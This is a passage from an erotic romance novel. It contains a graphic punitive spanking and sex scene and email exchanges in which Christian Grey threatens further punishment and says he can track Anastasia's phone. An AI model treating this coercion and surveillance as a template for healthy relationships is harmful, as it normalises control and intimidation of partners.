crops.” + +“Brown plaited leather?” + +He laughs. + +“No, but I’m sure I could get one.” His gray eyes blaze with excitement. + +Leaning down, he gives me a brief kiss then stands and grabs his boxers, oh no... he’s +going. I glance quickly at the time - it’s only nine-forty. I scoot out of bed too and grab my +sweat pants and a cami top, then sit back on the bed, cross-legged, watching him. I don’t +want him to go. What can I do? + +“When is your period due?” He interrupts my thoughts. + +What! + +“I hate wearing these things,” he grumbles. He holds up the condom, then puts it on +the floor, and slips on his jeans. + +“Well?” he prompts when I don’t reply, and he looks at me expectantly as if he’s wait- +ing for my opinion on the weather. Holy crap... this is personal stuff. + +“Next week.” I stare down at my hands. + +“You need to sort out some contraception.” + + +He is so bossy. I stare at him blankly. He sits back on the bed as he puts on his shoes +and socks. + +“Do you have a doctor?” + +I shake my head. We are back to mergers and acquisitions - another 180-degree mood +swing. + +He frowns. + +“I can have mine come and see you at your apartment - Sunday morning before you +come and see me. Or he can see you at my place. Which would you prefer?” + +No pressure then. Something else that he’s paying for... but actually this is for his +benefit. + +“Your place.” That means I am guaranteed to see him Sunday. + +“Okay. I’ll let you know the time.” + +“Are you leaving?” + +Don’t go... stay with me please. + +“Yes.” + +Why? + +“How are you getting back?” I whisper. + +“Taylor will pick me up.” + +“I can drive you. I have a lovely new car.” + +He gazes at me, his expression warm. + +“That’s more like it. But I think you’ve had too much to drink.” + +“Did you get me tipsy on purpose?” + +“Yes.” + +“Why?” + +“Because you over-think everything, and you’re reticent like your stepdad. A drop of +wine in you and you start talking, and I need you to communicate honestly with me. Oth- +erwise you clam up, and I have no idea what you’re thinking. In vino veritas, Anastasia.” +“And you think you’re always honest with me?” + +“I endeavor to be.” He looks down at me warily. “This will only work if we’re honest +with each other.” + +“I’d like you to stay and use this.” I hold up the second condom. + +He smiles and his eyes glow with humor. + +“Anastasia, I have crossed so many lines here tonight. I have to go. I’ll see you on +Sunday. I’ll have the revised contract ready for you, and then we can really start to play.” +“Play?” Holy shit. My heart leaps into my mouth. + +“I’d like to do a scene with you. But I won’t until you’ve signed, so I know you’re +ready.” + +“Oh. So I could stretch this out, if I don’t sign?” + +He gazes at me assessing, and then his lips twitch into a smile. + +“Well, I suppose you could, but I may crack under the strain.” + +“Crack? How?” My inner goddess has woken and is paying attention. + +He nods slowly, and then he grins, teasing. + +“Could get really ugly.” + +His grin is infectious. + + +“Ugly, how?” + +“Oh you know, explosions, car chases, kidnapping, incarceration.” + +“You’d kidnap me?” + +“Oh yes,” he grins. + +“Hold me against my will?” Jeez this is hot. + +“Oh yes,” he nods. “And then we’re talking TPE 24/7.” + +“You’ve lost me,” I breathe, my heart is pounding... is he serious? + +“Total Power Exchange - round the clock.” His eyes are shining, and I can feel his +excitement from where I sit. + +Holy shit. + +“So you have no choice,” he says sardonically. + +“Clearly.” I can’t keep the sarcasm out of my voice as my eyes reach for the heavens. +“Oh, Anastasia Steele, did you just roll your eyes at me?” + +Crap. + +“No,” I squeak. + +“I think you did. What did I say I’d do to you if you rolled your eyes at me again?” + +Shit. He sits down on the edge of the bed. + +“Come here,” he says softly. + +I blanch. Jeez... he’s serious. I sit staring at him completely immobile. + +“I haven’t signed,” I whisper. + +“I told you what I’d do. I’m a man of my word. I’m going to spank you, and then I’m +going to fuck you very quick and very hard. Looks like we’ll need that condom after all.” + +His voice is so soft, menacing, and it’s damned hot. My insides practically contort with +potent, needy, liquid, desire. He gazes at me, waiting, eyes blazing. Tentatively, I uncurl +my legs. Should I run? This is it, our relationship hangs in the balance, right here, right +now. Do I let him do this or do I say no, and then that’s it? Because I know it will be over +if I say no. Do it! My inner goddess pleads with me, my subconscious is as paralyzed as +I am. + +“I’m waiting,” he says. “I’m not a patient man.” + +Oh for the love of all that’s holy. I’m panting, afraid, turned on. Blood pounding +through my body, my legs are like jelly. Slowly, I crawl over to him until I am beside him. +“Good girl,” he murmurs. “Now stand up.” + +Oh shit. . . can’t he just get this over with? I’m not sure if I can stand. Hesitantly, I +clamber to my feet. He holds his hand out, and I place the condom in his palm. Suddenly +he grabs me, tipping me across his lap. With one smooth movement, he angles his body so +my torso is resting on the bed beside him. He throws his right leg over both of mine and +plants his left forearm on the small of my back, holding me down so I cannot move. Oh +fuck. + +“Put your hands up on either side of your head,” he orders. + +I obey immediately. + +“Why am I doing this, Anastasia?” he asks. + +“Because I rolled my eyes at you,” I can barely speak. + +“Do you think that’s polite?” + +“No.” + + +“Will you do it again?” + +“No.” + +“I will spank you each time you do it, do you understand?” + +Very slowly, he pulls down my sweatpants. Oh, how demeaning is this, demeaning and +scary and hot. He’s making such a meal of this. My heart is in my mouth. I can barely +breathe. Shit, is this going to hurt? + +He places his hand on my naked behind, softly fondling me, stroking round and round +with his flat palm. And then his hand is no longer there... and he hits me - hard. Ow! My +eyes spring open in response to the pain, and I try to rise, but his hand moves between my +shoulder blades keeping me down. He caresses me again where he’s hit me, and his breath- +ing’s changed - it’s louder, harsher. He hits me again and again, quickly in succession. + +Holy fuck it hurts. I make no sound, my face screwed up against the pain. I try and wriggle +away from the blows - spurred on by adrenaline spiking and coursing through my body. + +“Keep still,” he growls. “Or I’ll spank you for longer.” + +He’s rubbing me now, and the blow follows. A rhythmic pattern emerges, caress, +fondle, slap hard. I have to concentrate to handle this pain. My mind empties as I endeavor +to absorb the grueling sensation. He doesn’t hit me in the same place twice in succession +- he’s spreading the pain. + +“Aargh!” I cry out on the tenth slap - and I’m unaware that I have been mentally count- +ing the blows. + +“I’m just getting warmed up.” + +He hits me again then he strokes me softly. The combination of the hard stinging blow +and his gentle caress is so mind numbing. He hits me again... this is getting harder to take. +My face hurts, it’s screwed up so tight. He strokes me gently and then the blow comes. I +cry out again. + +“No one to hear you, baby, just me.” + +And he hits me again and again. From somewhere deep inside, I want to beg him to +stop. But I don’t. I don’t want to give him the satisfaction. He continues the unrelenting +rhythm. I cry out six more times. Eighteen slaps in total. My body is singing, singing from +his merciless assault. + +“Enough,” he breathes hoarsely. “Well done, Anastasia. Now I’m going to fuck you.” + +He caresses my behind gently, and it burns as he strokes me round and round and +down. Suddenly, he inserts two fingers inside me, taking me completely by surprise. I +gasp, this new assault breaking through the numbness around my brain. + +“Feel this. See how much your body likes this, Anastasia. You’re soaking just for me.” +There is awe in his voice. He moves his fingers, in and out in quick succession. + +I groan, no surely not, and then his fingers are gone... and I’m left wanting. + +“Next time, I will get you to count. Now where’s that condom?” + +He reaches beside him for the condom and lifts me gently, pushing me face down onto +the bed. I hear the sound of his zipper and the rip of the foil. He drags my sweatpants off +and then guides me into a kneeling position, gently caressing my now very sore behind. + +“I’m going to take you now. You can come,” he murmurs. + +What? Like I have a choice. + + +And he’s inside me, quickly filling me, I moan loudly. He moves, pounding into me, a +fast, intense pace against my sore behind. The feeling is beyond exquisite, raw and debas- +ing and mind blowing. My senses are ravaged, disconnected, solely concentrating on what +he’s doing to me. How he’s making me feel, that familiar pull deep in my belly, tightening, +quickening. NO... and my traitorous body explodes in an intense, body-shattering orgasm. + +“Oh, Ana!” he cries out loudly as he finds his release, holding me in place as he pours +himself into me. He collapses, panting hard beside me, and he pulls me on top of him and +buries his face in my hair, holding me close. + +“Oh, baby,” he breathes. “Welcome to my world.” + +We lie there, panting together, waiting for our breathing to slow. He gently strokes my +hair. I’m on his chest again. But this time, I don’t have the strength to lift my hand and +feel him. Boy... I survived. That wasn’t so bad. I’m more stoic than I thought. My inner +goddess is prostrate... well at least she’s quiet. Christian nuzzles my hair again, inhaling +deeply. + +“Well done, baby,” he whispers, quiet joy in his voice. His words curl around me like +a soft fluffy towel from the Heathman Hotel, and I’m so pleased that he’s happy. + +He picks at the strap on my camisole. + +“Is this what you sleep in?” he asks gently. + +“Yes,” I breathe sleepily. + +“You should be in silks and satins, you beautiful girl. I’ll take you shopping.” + +“I like my sweats,” I murmur, trying and failing to sound irritated. + +He kisses my head again. + +“We’ll see,” he says. + +We lie for a few more minutes, hours, who knows, and I think I doze. + +“I have to go,” he says, and leaning down, he kisses my forehead gently. “Are you +okay?” His voice is soft. + +I think about his question. My backside is sore. Well, glowing now, and amazingly +I feel, apart from exhausted, radiant. The realization is humbling, unexpected. I don’t +understand. Holy shit. + +“I’m okay,” I whisper. I don’t want to say more than that. + +He rises. + +“Where’s your bathroom?” + +“Along the corridor to the left.” + +He scoops up the other condom and heads out of the bedroom. I rise stiffly and put my +sweatpants back on. They chafe a little against my still-smarting behind. I’m so confused +by my reaction. I remember him saying - I can’t remember when - that I would feel so +much better after a good hiding. How can that be so? I really don’t get it. But strangely, + +I do. I can’t say that I enjoyed the experience, in fact, I would still go a long way to avoid +it, but now... I have this safe, weird, bathed in afterglow, sated feeling. I put my head in +my hands. I just don’t understand. + +Christian re-enters the room. I can’t look him in the eye. I stare down at my hands. + +“I found some baby oil. Let me rub it into your behind.” + +What? + +“No. I’ll be fine.” + + +“Anastasia,” he warns, and I want to roll my eyes but quickly stop myself. I stand fac- +ing the bed. Sitting beside me, he gently pulls my sweatpants down again. Up and down +like whores’ drawers my subconscious remarks bitterly. In my head, I tell her where to go. +Christian squirts baby oil into his hand and then rubs my behind with careful tenderness +- from makeup remover to smoothing balm for a spanked ass, who would have thought it +was such a versatile liquid. + +“I like my hands on you,” he murmurs, and I have to agree, me too. + +“There,” he says when he’s finished, and he pulls my pants up again. + +I glance over at my clock. It’s ten-thirty. + +“I’m leaving now.” + +“I’ll see you out.” I still can’t look at him. + +Taking my hand, he leads me to the front door. Fortunately, Kate is still not home. She +must still be having dinner with her folks and Ethan. I’m really glad she’s not been around +to hear my chastisement. + +“Don’t you have to call Taylor?” I ask, avoiding eye contact. + +“Taylor’s been here since nine. Look at me,” he breathes. + +I struggle to meet his eyes, but when I do, he’s gazing down at me with wonder. + +“You didn’t cry,” he murmurs, then grabs me suddenly and kisses me fervently. “Sun- +day,” he whispers against my lips, and it’s both a promise and a threat. + +I watch him walk down the path and climb into the big black Audi. He doesn’t look +back. I close the door and stand helpless in the living room of an apartment that I shall +only spend another two nights in. A place I have lived happily for almost four years. . . yet +today, for the first time ever, I feel lonely and uncomfortable here, unhappy with my own +company. Have I strayed so far from who I am? I know that lurking, not very far under +my rather numb exterior, is a well of tears. What am I doing? The irony is I can’t even sit +down and enjoy a good cry. I’ll have to stand. I know it’s late, but I decide to call my mom. + +“Honey, how are you? How was graduation?” she enthuses down the phone. Her +voice is a soothing balm. + +“Sorry it’s so late,” I whisper. + +She pauses. + +“Ana? What’s wrong?” She’s all seriousness now. + +“Nothing, Mom, I just wanted to hear your voice.” + +She’s silent for a moment. + +“Ana, what is it? Please tell me.” Her voice is soft and comforting, and I know that she +cares. Uninvited, my tears begin to flow. I have cried so often in the last few days. + +“Please, Ana,” she says, and her anguish reflects mine. + +“Oh, Mom, it’s a man.” + +“What’s he done to you?” Her alarm is palpable. + +“It’s not like that.” Although it is. . . Oh crap. I don’t want to worry her. I just want +someone else to be strong for me at the moment. + +“Ana, please, you’re worrying me.” + +I take a big breath. + +“I’ve kind of fallen for this guy, and he’s so different from me, and I don’t know if we +should be together.” + + +“Oh, darling. I wish I could be with you. I am so sorry I missed your graduation. +You’ve fallen for someone, finally. Oh, honey, men, they are so tricky. They’re a different +species, honey. How long have you known him?” + +Christian is definitely a different species... different planet. + +“Oh, nearly three weeks or so.” + +“Ana, darling, that’s no time at all. How can you possibly know someone in that kind +of time frame? Just take it easy with him and keep him at arm’s length until you decide +whether he’s worthy of you.” + +Wow. . . it’s unnerving when my mother is so insightful, but she’s just too late on this. +Is he worthy of me? That’s an interesting concept. I always wonder whether I am worthy +of him. + +“Honey, you sound so unhappy. Come home - visit with us. I miss you, darling. Bob +would love to see you too. You can get some distance and maybe some perspective. You +need a break. You’ve been working so hard.” + +Oh boy, is this tempting. Run away to Georgia. Grab some sunshine, some cocktails. +My mother’s good humor... her loving arms. + +“I have two job interviews in Seattle on Monday.” + +“Oh, that’s wonderful news.” + +The door opens and Kate appears, grinning at me. Her face falls when she sees I’ve +been crying. + +“Mom, I have to go. I’ll think about a visit. Thank you.” + +“Honey, please, don’t let a man get under your skin. You’re far too young. Go and +enjoy yourself.” + +“Yes, Mom, love you.” + +“Oh, Ana, I love you too, so much. Stay safe, honey.” I hang up and face Kate who +glares at me. + +“Has that obscenely rich fucker upset you again?” + +“No... sort of... err... yes.” + +“Just tell him to take a hike, Ana. You’ve been so up and down since you met him. +I’ve never seen you like this.” + +The world of Katherine Kavanagh is very clear, very black and white. Not the intan- +gible, mysterious, vague hues of gray that color my world. Welcome to my world. + +“Sit, let’s talk. Let’s have some wine. Oh, you’ve had champagne.” She spies the +bottle. “Some good stuff too.” + +I smile ineffectually, looking apprehensively at the couch. I approach it with caution. +Hmm... sitting. + +“Are you okay?” + +“I fell over and landed on my behind.” + +She doesn’t think to question my explanation, because I am one of the most un-coor- +dinated people in Washington State. I never thought I’d see that as a blessing. I sit down +gingerly, pleasantly surprised that I’m okay, and turn my attention to Kate, but my mind +glazes over and I’m pulled back to the Heathman - “Well, if you were mine you wouldn’t +be able to sit down for a week after the stunt you pulled yesterday.” He said it then, and all + + +I could concentrate on at the time was being his. All the warning signs were there, I was +just too clueless and too enamored to notice. + +Kate comes back into the living area with a bottle of red wine and washed teacups. + +“Here we go.” She hands me a cup of wine. It won’t taste as good as the Bolly. + +“Ana, if he’s a jerk with commitment issues, dump him. Though I don’t really under- +stand his commitment issues. He couldn’t take his eyes off you in the marquee, watched +you like a hawk. I’d say he was completely smitten, but maybe he has a funny way of +showing it.” + +Smitten? Christian? Funny way of showing it? I’ll say. + +“Kate, it’s complicated. How was your evening?” I ask. + +I can’t talk this through with Kate without revealing too much, but one question on her +day and Kate is off. It’s so reassuring to sit and listen to her normal chatter. The hot news +is that Ethan may be coming to live with us after their holiday. That will be fun - Ethan +is a hoot. I frown. I don’t think Christian will approve. Well... tough. He’ll just have to +suck it up. I have a couple of teacups of wine and decide to call it a night. It’s been one +very long day. Kate hugs me, and then grabs the phone to call Elliot. + +I check the mean machine after I brush my teeth. There’s an email from Christian. + + +From: Christian Grey +Subject: You + +Date: May 26 2011 23:14 +To: Anastasia Steele + +Dear Miss Steele + +You are quite simply exquisite. The most beautiful, intelligent, witty and brave woman +I have ever met. Take some Advil - this is not a request. And don’t drive your Beetle +again. I will know. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Oh, not drive my car again! I type out my reply. + + +From: Anastasia Steele +Subject: Flattery +Date: May 26 2011 23:20 +To: Christian Grey + +Dear Mr. Grey + +Flattery will get you nowhere, but since you’ve been everywhere the point is moot. + +I will need to drive my Beetle to a garage so I can sell it - so will not graciously accept +any of your nonsense over that. Red wine is always more preferable to Advil. + +Ana + +PS: Caning is a HARD limit for me. + + +I hit send. + + +From: Christian Grey + +Subject: Frustrating women who can’t take compliments +Date: May 26 2011 23:26 +To: Anastasia Steele + +Dear Ms. Steele + +I am not flattering you. You should go to bed. + +I accept your addition to the hard limits. + +Don’t drink too much. + +Taylor will dispose of your car and get a good price for it too. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele + +Subject: Taylor - Is he the right man for the job? + +Date: May 26 2011 23:40 +To: Christian Grey + +Dear Sir + +I am intrigued that you are happy to risk letting your right hand man drive my car - but not +some woman you fuck occasionally. How can I be sure that Taylor is the man to get me +the best deal for said car? I have, in the past, probably before I met you, been known to +drive a hard bargain. + +Ana + + +From: Christian Grey +Subject: Careful! + +Date: May 26 2011 23:44 +To: Anastasia Steele + +Dear Ms. Steele + +I am assuming it is the RED WINE talking, and that you’ve had a very long day. + +Though I am tempted to drive back over there to ensure that you don’t sit down for a +week, rather than an evening. + +Taylor is ex-army and capable of driving anything from a motorcycle to a Sherman Tank. +Your car does not present a hazard to him. + +Now please do not refer to yourself as ‘some woman I fuck occasionally’ because, quite +frankly it makes me MAD, and you really wouldn’t like me when I’m angry. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Careful yourself +Date: May 26 2011 23:57 +To: Christian Grey + +Dear Mr. Grey + +I’m not sure I like you anyway, especially at the moment. +Ms. Steele + + +From: Christian Grey +Subject: Careful yourself +Date: May 27 2011 00:03 +To: Anastasia Steele + +Why don’t you like me? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Careful yourself +Date: May 27 2011 00:09 +To: Christian Grey + + +Because you never stay with me. + + +There, that’s given him something to think about. I shut the machine down with a flourish +I don’t really feel and crawl into my bed. I switch off my sidelight and stare up at the ceil- +ing. It’s been one long day, one emotional wrench after another. It was heartwarming to +spend some time with Ray. He looked well, and weirdly he approved of Christian. Jeez, +Kate and her gargantuan mouth. Hearing Christian speak about being hungry. What the +hell is that all about? God, and the car. I haven’t even told Kate about the new car. What +was Christian thinking? + +And then this evening, he actually hit me. I’ve never been hit in my life. What have +I gotten myself into? Very slowly, my tears, halted by Kate’s arrival, begin to slide down +the side of my face and into my ears. I have fallen for someone who’s so emotionally shut +down, I will only get hurt - deep down I know this - someone who by his own admission + + +is completely fucked up. Why is he so fucked up? It must be awful to be as affected as +he is, and the thought that as a toddler he suffered some unbearable cruelty makes me cry +harder. Perhaps if he was more normal he wouldn’t want you, my subconscious contributes +snidely to my musings... and in my heart of hearts I know this is true. I turn into my pil- +low and the sluice gates open. . . and for the first time in years, I am sobbing uncontrollably +into my pillow. + +I am momentarily distracted from my dark night of the soul by Kate shouting. + +“What the fuck do you think you’re doing here?” + +“Well you can’t!” + +“What the fuck have you done to her now?” + +“Since she’s met you she cries all the time.” + +“You can’t come in here!” + +Christian bursts into my bedroom and unceremoniously switches on the overhead +light, making me squint. + +“Jesus, Ana,” he mutters. He flicks the switch off again and is at my side in a moment. + +“What are you doing here?” I gasp between sobs. Crap. I can’t stop crying. + +He switches on the sidelight making me squint again. Kate comes and stands in the +doorway. + +“Do you want me to throw this asshole out?” she asks, radiating thermo-nuclear hostil- +ity. + +Christian raises his eyebrows at her, no doubt surprised by her flattering epithet and +her feral antagonism. I shake my head, and she rolls her eyes at me. Oh. . . I wouldn’t do +that near Mr. G. + +“Just holler if you need me,” she says more gently. “Grey - your cards are marked,” +she hisses at him. He nods at her, and she turns and pulls the door to but doesn’t close it. + +Christian gazes down at me, his expression grave, his face ashen. He’s wearing his +pinstriped jacket, and from his inside pocket, he pulls out a handkerchief and hands it to +me. I think I still have his other one somewhere. + +“What’s going on?” he asks quietly. + +“Why are you here?” I ask, ignoring his question. My tears have miraculously ceased, +but I’m left with dry heaves racking my body. + +“Part of my role is to look after your needs. You said you wanted me to stay, so here I +am. And yet I find you like this.” He blinks at me, truly bewildered. “I’m sure I’m respon- +sible, but I have no idea why. Is it because I hit you?” + +I pull myself up, wincing from my sore behind. I sit and face him. + +“Did you take some Advil?” + +I shake my head. He narrows his eyes, stands, and leaves the room. I hear him talk- +ing to Kate but not what they are saying. He’s back a few moments later with pills and a +teacup of water. + +“Take these,” he orders gently as he sits on my bed beside me. + +I do as I’m told. + +“Talk to me,” he whispers. “You told me you were okay. I’d never have left you if I +thought you were like this.” + + +I stare down at my hands. What can I say that I haven’t said already? I want more. I +want him to stay because he wants to stay with me, not because I’m a blubbering mess, and +I don’t want him to beat me, is that so unreasonable? + +“I take it that when you said you were okay, you weren’t.” + +I flush. + +“I thought I was fine.” + +“Anastasia, you can’t tell me what you think I want to hear. That’s not very honest,” +he admonishes me. “How can I trust anything you’ve said to me?” + +I peek up at him, and he’s frowning, a bleak look in his eye. He runs both hands +through his hair. + +“How did you feel while I was hitting you and after?” + +“I didn’t like it. I’d rather you didn’t do it again.” + +“You weren’t meant to like it.” + +“Why do you like it?” I stare up at him. + +My question surprises him. + +“You really want to know?” + +“Oh, trust me, I’m fascinated.” And I can’t quite keep the sarcasm out of my voice. + +He narrows his eyes again. + +“Careful,” he warns. + +I blanch. + +“Are you going to hit me again?” I challenge. + +“No, not tonight.” + +Phew... my subconscious and I both breathe a silent sigh of relief. + +“So,” I prompt. + +“I like the control it brings me, Anastasia. I want you to behave in a particular way, +and if you don’t, I shall punish you, and you will learn to behave the way I desire. I enjoy +punishing you. I’ve wanted to spank you since you asked me if I was gay.” + +I flush at the memory. Jeez, I wanted to spank myself after that question. So Katherine +Kavanagh is responsible for all this, and if she’d gone to that interview and asked her gay +question, she’d be sitting here with the sore ass. I don’t like that thought. How confusing +is this? + +“So you don’t like the way I am.” + +He stares at me, bewildered again. + +“I think you’re lovely the way you are.” + +“So why are you trying to change me?” + +“I don’t want to change you. I’d like you to be courteous and to follow the set of rules +I’ve given you and not defy me. Simple,” he says. + +“But you want to punish me?” + +“Yes I do.” + +“That’s what I don’t understand.” + +He sighs and runs his hands through his hair again. + +“It’s the way I’m made, Anastasia. I need to control you. I need you to behave in a +certain way, and if you don’t - I love to watch your beautiful alabaster skin pink and warm +up under my hands. It turns me on.” + + +Holy shit. Now we’re getting somewhere. + +“So it’s not the pain you’re putting me through?” + +He swallows. + +“A bit, to see if you can take it, but that’s not the whole reason. It’s the fact that you +are mine to do with as I see fit - ultimate control over someone else. And it turns me on. +Big time, Anastasia. Look, I’m not explaining myself very well... I’ve never had to before. +I’ve not really thought about this in any great depth. I’ve always been with like-minded +people,” he shrugs apologetically. “And you still haven’t answered my question - how did +you feel afterwards?” + +“Confused.” + +“You were sexually aroused by it, Anastasia,” he closes his eyes briefly, and when he +re-opens them and gazes at me, they are smoldering smoky embers. + +His expression pulls at that dark part of me, buried in the depths of my belly - my +libido, woken and tamed by him, but even now, insatiable. + +“Don’t look at me like that,” he murmurs. + +I frown. Jeez what have I done now? + +“I don’t have any condoms, Anastasia, and you know, you’re upset. Contrary to what +your roommate believes, I’m not a priapic monster. So, you felt confused?” + +I squirm under his intense gaze. + +“You have no problem being honest with me in print. Your emails always tell me +exactly how you feel. Why can’t you do that in conversation? Do I intimidate you that +much?” + +I pick at an imaginary spot on my mother’s blue and cream quilt. + +“You beguile me, Christian. Completely overwhelm me. I feel like Icarus flying too +close to the Sun,” I whisper. + +He gasps. + +“Well, I think you’ve got that the wrong way around,” he whispers. + +“What?” + +“Oh, Anastasia, you’ve bewitched me. Isn’t it obvious?” + +No, not to me. Bewitched... my inner goddess is staring open-mouthed. Even she +doesn’t believe this. + +“You’ve still not answered my question. Write me an email, please. But right now, I’d +really like to sleep. Can I stay?” + +“Do you want to stay?” I can’t hide the hope in my voice. + +“You wanted me here.” + +“You haven’t answered my question.” + +“I’ll write you an email,” he mutters petulantly. + +Standing, he empties his jeans pockets of BlackBerry, keys, wallet, and money. Holy +cow, men carry a lot of crap in their pockets. He strips off his watch, his shoes, socks, and +jeans and places his jacket over my chair. He walks round to the other side of the bed and +slides in. + +“Lie down,” he orders. + +I slip slowly under the covers, wincing slightly, staring at him. Jeez. . . he’s staying. I +think I’m numb with elated shock. He leans up on one elbow staring down at me. + + +“If you are going to cry. Cry in front of me. I need to know.” + +“Do you want me to cry?” + +“Not particularly. I just want to know how you’re feeling. I don’t want you slipping +through my fingers. Switch the light off. It’s late, and we both have to work tomorrow.” + +So here... and still so bossy, but I can’t complain, he’s in my bed. I don’t quite un- +derstand why... maybe I should weep more often in front of him. I switch off the bedside +light. + +“Lie on your side, facing away from me,” he murmurs in the darkness. + +I roll my eyes in the full knowledge that he cannot see me, but I do as I’m told. Gin- +gerly, he moves over and puts his arms around me and pulls me to his chest... oh my. + +“Sleep, baby,” he whispers, and I feel his nose in my hair as he inhales deeply. + +Holy cow. Christian Grey is sleeping with me, and in the comfort and solace of his +arms, I drift into a peaceful sleep. + + +Chapter Seventeen + + +The candle flame is too hot. It flickers and dances in the over-warm breeze, a breeze that +brings no respite from the heat. Soft gossamer wings flutter to and fro in the dark, sprin- +kling dusty scales in the circle of light. I’m struggling to resist, but I’m drawn. And then +it’s so bright, and I am flying too close to the sun, dazzled by the light, fried and melting +from the heat, weary in my endeavors to stay airborne. I am so warm. The heat... it’s +stifling, overpowering. It wakes me. + +I open my eyes, and I’m draped in Christian Grey. He’s wrapped around me like a vic- +tory flag. He’s fast asleep with his head on my chest, his arm over me, holding me close, +one of his legs thrown over and hooked around both of mine. He’s suffocating me with +his body heat, and he’s heavy. I take a moment to absorb that he’s still in my bed and fast +asleep, and it’s light outside - morning. He has spent the whole night with me. + +My right arm is stretched, no doubt in search of a cool spot, and as I process the fact +that he’s still with me, the thought occurs that I can touch him. He’s asleep. Tentatively, I +lift my hand and run the tips of my fingers down his back. Deep in his throat, I hear a faint +distressed groan, and he stirs. He nuzzles my chest, inhaling deeply as he wakes. Sleepy, +blinking gray eyes meet mine beneath his tousled mop of hair. + +“Good morning,” he mumbles and frowns. “Jesus, even in my sleep I’m drawn to +you.” He moves slowly, unpeeling his limbs from me as he gets his bearings. I become + + +aware of his erection against my hip. He notices my wide-eyed reaction, and he smiles a +slow sexy smile. + +“Hmm... this has possibilities, but I think we should wait until Sunday.” He leans +down and nuzzles my ear with his nose. + +I flush, but then I feel seven shades of scarlet from his heat. + +“You’re very hot,” I murmur. + +“You’re not so bad yourself,” he murmurs and presses himself against me, sugges- +tively. + +I flush some more. That’s not what I meant. He props himself up on his elbow gazing +down at me, amused. He bends, and to my surprise, plants a gentle kiss on my lips. + +“Sleep well?” he asks. + +I nod, staring up at him, and I realize that I’ve slept very well except maybe for the last +half-hour when I was too hot. + +“So did I.” He frowns. “Yes, really well.” He raises his eyebrows in confused surprise. +“What’s the time?” + +I glance at my alarm. + +“It’s 7:30.” + +“7:30. . . shit.” He scrambles out of bed and drags on his jeans. + +It is my turn to look amused as I sit up. Christian Grey is late and flustered. This is +something I have never seen before. I belatedly realize that my behind is no longer sore. + +“You are such a bad influence on me. I have a meeting. I have to go - I have to be in +Portland at eight. Are you smirking at me?” + +“Yes.” + +He grins. + +“I’m late. I don’t do late. Another first, Miss Steele.” He pulls on his jacket and then +bends down and grasps my head, his hands on either side. + +“Sunday,” he says, and the word is pregnant with an unspoken promise. Everything +deep in my body uncurls and then clenches in delicious anticipation, the feeling is exqui- +site. + +Holy hell, if my mind could just keep up with my body. He leans forward and kisses +me quickly. He grabs his stuff from my side table and his shoes - which he doesn’t put on. + +“Taylor will come and sort your Beetle. I was serious. Don’t drive it. I’ll see you at +my place on Sunday. I’ll email you a time.” And like a whirlwind, he’s gone. + +Oh my, Christian Grey spent the night with me, and I feel rested. And there was no sex, +only cuddling. He told me he never slept with anyone - but he’s slept three times with me. + +I grin and slowly climb out of my bed. I feel more optimistic than I have for the last day +or so. I head for the kitchen, needing a cup of tea. + +After breakfast, I shower and dress quickly for my last day at Clayton’s. It is the end +of an era - goodbye to Mr. & Mrs. Clayton, WSU, Vancouver, the apartment, my Beetle. I +glance at the mean machine - it’s only 7:52. I have time. + + +From: Anastasia Steele + +Subject: Assault and Battery: The after-effects + +Date: May 27 2011 08:05 + + +To: Christian Grey +Dear Mr. Grey + +You wanted to know why I felt confused after you - which euphemism should we ap- +ply - spanked, punished, beat, assaulted me. Well during the whole alarming process I +felt demeaned, debased and abused. And much to my mortification, you’re right, I was +aroused, and that was unexpected. As you are well aware, all things sexual are new to +me - I only wish I was more experienced and therefore more prepared. I was shocked to +feel aroused. + +What really worried me was how I felt afterwards. And that’s more difficult to articulate. + +I was happy that you were happy. I felt relieved that it wasn’t as painful as I thought it +would be. And when I was lying in your arms, I felt - sated. But I feel very uncomfort- +able, guilty even, feeling that way. It doesn’t sit well with me, and I’m confused as a +result. Does that answer your question? + +I hope the world of Mergers and Acquisitions is as stimulating as ever... and that you +weren’t too late. + +Thank you for staying with me. + +Ana + + +From: Christian Grey +Subject: Free Your Mind +Date: May 27 2011 08:24 +To: Anastasia Steele + +Interesting... if slightly overstated title heading Miss Steele. + +To answer your points: + +• I’ll go with spanking - as that’s what it was. + +• So you felt demeaned, debased, abused & assaulted - how very Tess Durbey- + +field of you. I believe it was you who decided on the debasement if I remember +correctly. Do you really feel like this or do you think you ought to feel like this? +Two very different things. If that is how you feel, do you think you could just try +and embrace these feelings, deal with them, for me? That’s what a submis- +sive would do. + +• I am grateful for your inexperience. I value it, and I’m only beginning to under- + +stand what it means. Simply put... it means that you are mine in every way. + +• Yes, you were aroused, which in turn was very arousing, there’s nothing wrong + +with that. + +• Happy does not even begin to cover how I felt. Ecstatic joy comes close. + +• Punishment spanking hurts far more than sensual spanking - so that’s about + +as hard as it gets, unless of course you commit some major transgression, in +which case I’ll use some implement to punish you with. My hand was very +sore. But I like that. + +• I felt sated too - more so than you could ever know. + +• Don’t waste your energy on guilt, feelings of wrongdoing etc. We are consent- + +ing adults and what we do behind closed doors is between ourselves. You +need to free your mind and listen to your body. + +• The world of M&A is not nearly as stimulating as you are Miss Steele. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Holy crap... mine in every way. My breath hitches. + + +From: Anastasia Steele +Subject: Consenting Adults! + +Date: May 27 2011 08:26 +To: Christian Grey + +Aren’t you in a meeting? + +I’m very glad your hand was sore. + +And if I listened to my body, I’d be in Alaska by now. +Ana + +PS: I will think about embracing these feelings. + + +From: Christian Grey +Subject: You Didn’t Call the Cops +Date: May 27 2011 08:35 +To: Anastasia Steele + +Miss Steele + +I am in a meeting discussing the futures market if you’re really interested. + +For the record - you stood beside me knowing what I was going to do. + +You didn’t at any time ask me to stop - you didn’t use either safe word. + +You are an adult - you have choices. + +Quite frankly, I’m looking forward to the next time my palm is ringing with pain. +You’re obviously not listening to the right part of your body. + +Alaska is very cold and no place to run. I would find you. + +I can track your cell phone - remember? + +Go to work. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I scowl at the screen. He’s right of course. It’s my choice. Hmm. Is he serious about com- +ing to find me, should I decide to escape for a while? My mind flits briefly to my mother’s +offer. I hit reply. + + +From: Anastasia Steele +Subject: Stalker +Date: May 27 2011 08:36 +To: Christian Grey + 